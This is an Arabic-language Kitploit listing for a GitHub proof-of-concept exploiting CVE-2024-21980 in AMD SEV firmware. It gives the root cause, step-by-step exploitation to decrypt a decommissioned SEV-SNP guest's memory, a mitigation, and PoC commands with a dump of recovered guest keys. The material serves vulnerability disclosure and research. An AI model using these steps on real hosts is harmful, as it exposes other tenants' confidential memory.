Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2024-21980-poc — استغلال لـ CVE-2024-21980 يستهدف برامج AMD SEV الثابتة لفك تشفير الذاكرة العشوائية للضيوف SEV-SNP المسرحين عبر تجاوز تطبيق المخزن المؤقت للأوامر. | Kitploit
أدوات/GitHubGitHub/freax13/cve-2024-21980-poc
أدوات التشفير/فك التشفيرتحليل الثغرات الأمنيةالاستغلالأمن الأجهزةتطوير الحمولاتاستغلال الملفات الثنائية
GitHubfreax13/cve-2024-21980-poc

cve-2024-21980-poc

استغلال لـ CVE-2024-21980 يستهدف برامج AMD SEV الثابتة لفك تشفير الذاكرة العشوائية للضيوف SEV-SNP المسرحين عبر تجاوز تطبيق المخزن المؤقت للأوامر.

عرض المستودع
815منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة في البرنامج الثابت لـ SEV

يحتوي هذا المستودع على استغلال لثغرة في البرنامج الثابت لـ SEV. يسمح الاستغلال بفك تشفير ذاكرة عشوائية لضيف SEV-SNP بعد إلغاء تكليفه.

تم اختباره على الإصدار 1.55.16 (الأحدث وقت كتابة هذا التقرير).

السبب الجذري

يحتوي البرنامج الثابت لـ SEV على جدول يُسمى master_handler_table يحتوي على مؤشرات دالة لجميع الأوامر مع عدد قليل من الخصائص الإضافية ذات الصلة بالأوامر. اثنتان من تلك الخصائص الإضافية هما cmd_buf_type وsnp_cmd_buf_enforcement. يحدد cmd_buf_type ما إذا كان يجب نسخ المخزن المؤقت للأوامر من وإلى ذاكرة المضيف. يحدد snp_cmd_buf_enforcement ما إذا كانت عمليات النسخ هذه يجب أن تخضع لفحوصات تتحقق من أن الذاكرة الداعمة للمخزن المؤقت للأوامر في حالة FIRMWARE أو DEFAULT. يجب أن تكون جميع الأوامر التي يكون cmd_buf_type فيها إما CMD_BUF_OUTPUT_ONLY أو CMD_BUF_INPUT_AND_OUTPUT أو CMD_BUF_INPUT_AND_OUTPUT_ERROR قد تم تعيين snp_cmd_buf_enforcement لها على true. وإلا فإن إعادة كتابة مخرجات الأمر قد تسبب تلفًا في الذاكرة داخل المنطقة المغطاة بـ RMP. snp_cmd_buf_enforcement يكون true لجميع هذه الأوامر باستثناء واحد - SEV_MCMD_ID_ATTESTATION: هذا الأمر لديه cmd_buf_type مضبوطًا على CMD_BUF_INPUT_AND_OUTPUT_ERROR، ولكن أيضًا لديه snp_cmd_buf_enforcement مضبوطًا على false. ونتيجة لذلك، من الممكن تنفيذ SEV_MCMD_ID_ATTESTATION مع مخزن مؤقت للأوامر يشير إلى ذاكرة مغطاة بـ RMP، وتتلف هذه الذاكرة بمجرد كتابة المخرجات مرة أخرى.

لا أرى لماذا يحتاج SEV_MCMD_ID_ATTESTATION أن يكون استثناءً، يبدو لي معقولاً أن هذا قد يكون خطأ مطبعي/نسخ-لصق.

الاستغلال

يكتب SEV_MCMD_ID_ATTESTATION فقط في حقل واحد length (4 بايت) في المخزن المؤقت للأوامر، وبالتالي فهذه هي البايتات الوحيدة التي يمكننا استخدامها لتلف الذاكرة. يكتب SEV_MCMD_ID_ATTESTATION نفس القيمة دائمًا - 0x000000d0. لحسن الحظ، لا توجد متطلبات محاذاة للمخزن المؤقت للأوامر، وبالتالي يمكننا إزاحة المخزن المؤقت للأوامر بشكل متكرر لتلف نطاق أكبر من الذاكرة المتجاورة. سنستخدم هذا لتلف أول 16 بايت من صفحة سياق الضيف بنمط ثابت. تحتوي أول 16 بايت على بذرة مفتاح UMC، وبالتالي بإجبارها على قيمة ثابتة، يمكننا إجبار مفتاح تشفير الضيف على قيمة ثابتة.

الاستغلال المقدم هنا يعتمد بشكل كبير على الاستغلال الذي قدمته لـ SWPSIRT-2684/CVE-2023-31355.

لاستغلال الثغرة، يمكننا تنفيذ الخطوات التالية:

  1. قم بتشغيل ضيف SEV أو SEV-ES. هذا ضروري لـ SEV_MCMD_ID_ATTESTATION. احتفظ بهذا الضيف قيد التشغيل.
  2. قم بإنشاء صفحة سياق ضيف على العنوان 0x2000 للضيف الضحية. أي عنوان آخر في المنطقة المغطاة بـ RMP سيفي بالغرض، على الرغم من أن عنوانًا ثابتًا مفيد لتصحيح الأخطاء.
  3. استخدم الثغرة لتلف بذرة مفتاح UMC للضيف الضحية.
  4. قم بتنشيط صفحة سياق الضيف الضحية وقم بتشغيل الضيف الضحية.
  5. قم بإلغاء تكليف الضيف الضحية.
  6. قم بإنشاء صفحة سياق ضيف على العنوان 0x2000 للضيف المهاجم. يجب أن يكون هذا نفس العنوان المستخدم في الخطوة 1.
  7. استخدم الثغرة لتلف بذرة مفتاح UMC للضيف المهاجم.
  8. قم بتنشيط صفحة سياق الضيف المهاجم وقم بتشغيله مع تمكين علامة التصحيح.
  9. قم بتعيين ذاكرة الضيف الضحية للضيف المهاجم.
  10. استخدم الأمر SNP_DBG_ENCRYPT لفك تشفير ذاكرة الضيف الضحية باستخدام صفحة سياق الضيف المهاجم. سينجح ذلك لأن الضيف الضحية والضيف المهاجم يتشاركان بذرة مفتاح UMC.

التأثير

يجب أن يكون التأثير هنا على الأقل نفس تأثير SWPSIRT-2684. غير واضح لي في هذا الوقت ما إذا كان يمكن استخدام هذا الخلل لفك تشفير ذاكرة ضيف قيد التشغيل قبل إلغاء تكليفه.

التخفيف

يجب تعيين snp_cmd_buf_enforcement إلى true لـ SEV_MCMD_ID_ATTESTATION.

من المثير للاهتمام أن تصحيحات دعم مضيف Linux KVM لا تحتاج إلى تحديثات لأنها تدرج بالفعل SEV_CMD_ATTESTATION_REPORT في sev_cmd_buf_writable كأمر يتطلب أن يكون المخزن المؤقت للأوامر في حالة FIRMWARE. قد تكون هناك حاجة لتغييرات أو لا قد تكون لمشغلات الافتراضية الأخرى.

استخدام الإثبات العملي

  1. قم بتغيير المنطقة المغطاة بـ RMP في BIOS إلى 64 جيجابايت (0x10000 صفحة بحجم 1 ميجابايت). إذا لم يدعم نظامك ذلك، فيجب تعديل تصحيحات Linux وفقًا لذلك. تم اختبار الإثبات العملي على نظام بذاكرة 128 جيجابايت.
  2. قم بتطبيق التصحيحات الموجودة في مجلد linux-patches على رأس https://github.com/AMDESE/linux/commits/snp-host-v10. قم ببناء وتثبيت وتشغيل النواة.
  3. قم بتشغيل ضيف SEV أو SEV-ES واحتفظ به قيد التشغيل.
  4. قم بتشغيل ضيف ضحية SEV-SNP.
  5. أوقف الضيف الضحية.
  6. افحص سجلات النواة للعثور على موقع الصفحة السرية التي تم إنشاؤها أثناء التشغيل.
    root@kitploit:~
    root@server:~# dmesg | grep "kvm_amd: Detected secret page"
    [  463.851449] kvm_amd: Detected secret page at pfn 171a24
    
  7. قم بتشغيل الإثبات العملي.
    root@kitploit:~
    root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24 
        Finished dev [unoptimized + debuginfo] target(s) in 0.03s
    Creating VM with identical UMC key seed
    Raw page:
    000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
    020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
    040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
    060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
    080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
    0a0: 0000000000000000000000000000000000000000000000000000000000000000
    0c0: 0000000000000000000000000000000000000000000000000000000000000000
    0e0: 0000000000000000000000000000000000000000000000000000000000000000
    100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
    120: 0000000000000000000000000000000000000000000000000000000000000000
    140: 0000000000000000000000000000000000000000000000000000000000000000
    160: c800000000000000000000000000000000000000000000000000000000000000
    180: 0000000000000000000000000000000000000000000000000000000000000000
    1a0: 0000000000000000000000000000000000000000000000000000000000000000
    1c0: 0000000000000000000000000000000000000000000000000000000000000000
    1e0: 0000000000000000000000000000000000000000000000000000000000000000
    200: 0000000000000000000000000000000000000000000000000000000000000000
    220: 0000000000000000000000000000000000000000000000000000000000000000
    240: 0000000000000000000000000000000000000000000000000000000000000000
    260: 0000000000000000000000000000000000000000000000000000000000000000
    280: 0000000000000000000000000000000000000000000000000000000000000000
    2a0: 0000000000000000000000000000000000000000000000000000000000000000
    2c0: 0000000000000000000000000000000000000000000000000000000000000000
    2e0: 0000000000000000000000000000000000000000000000000000000000000000
    300: 0000000000000000000000000000000000000000000000000000000000000000
    320: 0000000000000000000000000000000000000000000000000000000000000000
    340: 0000000000000000000000000000000000000000000000000000000000000000
    360: 0000000000000000000000000000000000000000000000000000000000000000
    380: 0000000000000000000000000000000000000000000000000000000000000000
    3a0: 0000000000000000000000000000000000000000000000000000000000000000
    3c0: 0000000000000000000000000000000000000000000000000000000000000000
    3e0: 0000000000000000000000000000000000000000000000000000000000000000
    400: 0000000000000000000000000000000000000000000000000000000000000000
    420: 0000000000000000000000000000000000000000000000000000000000000000
    440: 0000000000000000000000000000000000000000000000000000000000000000
    460: 0000000000000000000000000000000000000000000000000000000000000000
    480: 0000000000000000000000000000000000000000000000000000000000000000
    4a0: 0000000000000000000000000000000000000000000000000000000000000000
    4c0: 0000000000000000000000000000000000000000000000000000000000000000
    4e0: 0000000000000000000000000000000000000000000000000000000000000000
    500: 0000000000000000000000000000000000000000000000000000000000000000
    520: 0000000000000000000000000000000000000000000000000000000000000000
    540: 0000000000000000000000000000000000000000000000000000000000000000
    560: 0000000000000000000000000000000000000000000000000000000000000000
    580: 0000000000000000000000000000000000000000000000000000000000000000
    5a0: 0000000000000000000000000000000000000000000000000000000000000000
    5c0: 0000000000000000000000000000000000000000000000000000000000000000
    5e0: 0000000000000000000000000000000000000000000000000000000000000000
    600: 0000000000000000000000000000000000000000000000000000000000000000
    620: 0000000000000000000000000000000000000000000000000000000000000000
    640: 0000000000000000000000000000000000000000000000000000000000000000
    660: 0000000000000000000000000000000000000000000000000000000000000000
    680: 0000000000000000000000000000000000000000000000000000000000000000
    6a0: 0000000000000000000000000000000000000000000000000000000000000000
    6c0: 0000000000000000000000000000000000000000000000000000000000000000
    6e0: 0000000000000000000000000000000000000000000000000000000000000000
    700: 0000000000000000000000000000000000000000000000000000000000000000
    720: 0000000000000000000000000000000000000000000000000000000000000000
    740: 0000000000000000000000000000000000000000000000000000000000000000
    760: 0000000000000000000000000000000000000000000000000000000000000000
    780: 0000000000000000000000000000000000000000000000000000000000000000
    7a0: 0000000000000000000000000000000000000000000000000000000000000000
    7c0: 0000000000000000000000000000000000000000000000000000000000000000
    7e0: 0000000000000000000000000000000000000000000000000000000000000000
    800: 0000000000000000000000000000000000000000000000000000000000000000
    820: 0000000000000000000000000000000000000000000000000000000000000000
    840: 0000000000000000000000000000000000000000000000000000000000000000
    860: 0000000000000000000000000000000000000000000000000000000000000000
    880: 0000000000000000000000000000000000000000000000000000000000000000
    8a0: 0000000000000000000000000000000000000000000000000000000000000000
    8c0: 0000000000000000000000000000000000000000000000000000000000000000
    8e0: 0000000000000000000000000000000000000000000000000000000000000000
    900: 0000000000000000000000000000000000000000000000000000000000000000
    920: 0000000000000000000000000000000000000000000000000000000000000000
    940: 0000000000000000000000000000000000000000000000000000000000000000
    960: 0000000000000000000000000000000000000000000000000000000000000000
    980: 0000000000000000000000000000000000000000000000000000000000000000
    9a0: 0000000000000000000000000000000000000000000000000000000000000000
    9c0: 0000000000000000000000000000000000000000000000000000000000000000
    9e0: 0000000000000000000000000000000000000000000000000000000000000000
    a00: 0000000000000000000000000000000000000000000000000000000000000000
    a20: 0000000000000000000000000000000000000000000000000000000000000000
    a40: 0000000000000000000000000000000000000000000000000000000000000000
    a60: 0000000000000000000000000000000000000000000000000000000000000000
    a80: 0000000000000000000000000000000000000000000000000000000000000000
    aa0: 0000000000000000000000000000000000000000000000000000000000000000
    ac0: 0000000000000000000000000000000000000000000000000000000000000000
    ae0: 0000000000000000000000000000000000000000000000000000000000000000
    b00: 0000000000000000000000000000000000000000000000000000000000000000
    b20: 0000000000000000000000000000000000000000000000000000000000000000
    b40: 0000000000000000000000000000000000000000000000000000000000000000
    b60: 0000000000000000000000000000000000000000000000000000000000000000
    b80: 0000000000000000000000000000000000000000000000000000000000000000
    ba0: 0000000000000000000000000000000000000000000000000000000000000000
    bc0: 0000000000000000000000000000000000000000000000000000000000000000
    be0: 0000000000000000000000000000000000000000000000000000000000000000
    c00: 0000000000000000000000000000000000000000000000000000000000000000
    c20: 0000000000000000000000000000000000000000000000000000000000000000
    c40: 0000000000000000000000000000000000000000000000000000000000000000
    c60: 0000000000000000000000000000000000000000000000000000000000000000
    c80: 0000000000000000000000000000000000000000000000000000000000000000
    ca0: 0000000000000000000000000000000000000000000000000000000000000000
    cc0: 0000000000000000000000000000000000000000000000000000000000000000
    ce0: 0000000000000000000000000000000000000000000000000000000000000000
    d00: 0000000000000000000000000000000000000000000000000000000000000000
    d20: 0000000000000000000000000000000000000000000000000000000000000000
    d40: 0000000000000000000000000000000000000000000000000000000000000000
    d60: 0000000000000000000000000000000000000000000000000000000000000000
    d80: 0000000000000000000000000000000000000000000000000000000000000000
    da0: 0000000000000000000000000000000000000000000000000000000000000000
    dc0: 0000000000000000000000000000000000000000000000000000000000000000
    de0: 0000000000000000000000000000000000000000000000000000000000000000
    e00: 0000000000000000000000000000000000000000000000000000000000000000
    e20: 0000000000000000000000000000000000000000000000000000000000000000
    e40: 0000000000000000000000000000000000000000000000000000000000000000
    e60: 0000000000000000000000000000000000000000000000000000000000000000
    e80: 0000000000000000000000000000000000000000000000000000000000000000
    ea0: 0000000000000000000000000000000000000000000000000000000000000000
    ec0: 0000000000000000000000000000000000000000000000000000000000000000
    ee0: 0000000000000000000000000000000000000000000000000000000000000000
    f00: 0000000000000000000000000000000000000000000000000000000000000000
    f20: 0000000000000000000000000000000000000000000000000000000000000000
    f40: 0000000000000000000000000000000000000000000000000000000000000000
    f60: 0000000000000000000000000000000000000000000000000000000000000000
    f80: 0000000000000000000000000000000000000000000000000000000000000000
    fa0: 0000000000000000000000000000000000000000000000000000000000000000
    fc0: 0000000000000000000000000000000000000000000000000000000000000000
    fe0: 0000000000000000000000000000000000000000000000000000000000000000
    
    Secrets page:
    imi_en: false
    FMS: 00a00f11
    gosvw: 000000000000000000000000a98d95ff
    vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
    vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
    vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
    vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
    VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
    tsc_factor: 200
    
    لاحظ أنه لا يوجد شيء مميز في الصفحات السرية، يمكن استخدام هذا الاستغلال أيضًا لفك تشفير الصفحات العادية. تُستخدم الصفحات السرية في الإثبات العملي لأنها تحتوي على محتوى يمكن التعرف عليه بسهولة مما يسهل رؤية أن فك تشفير ذاكرة الضحية قد نجح.
تنزيل الأداة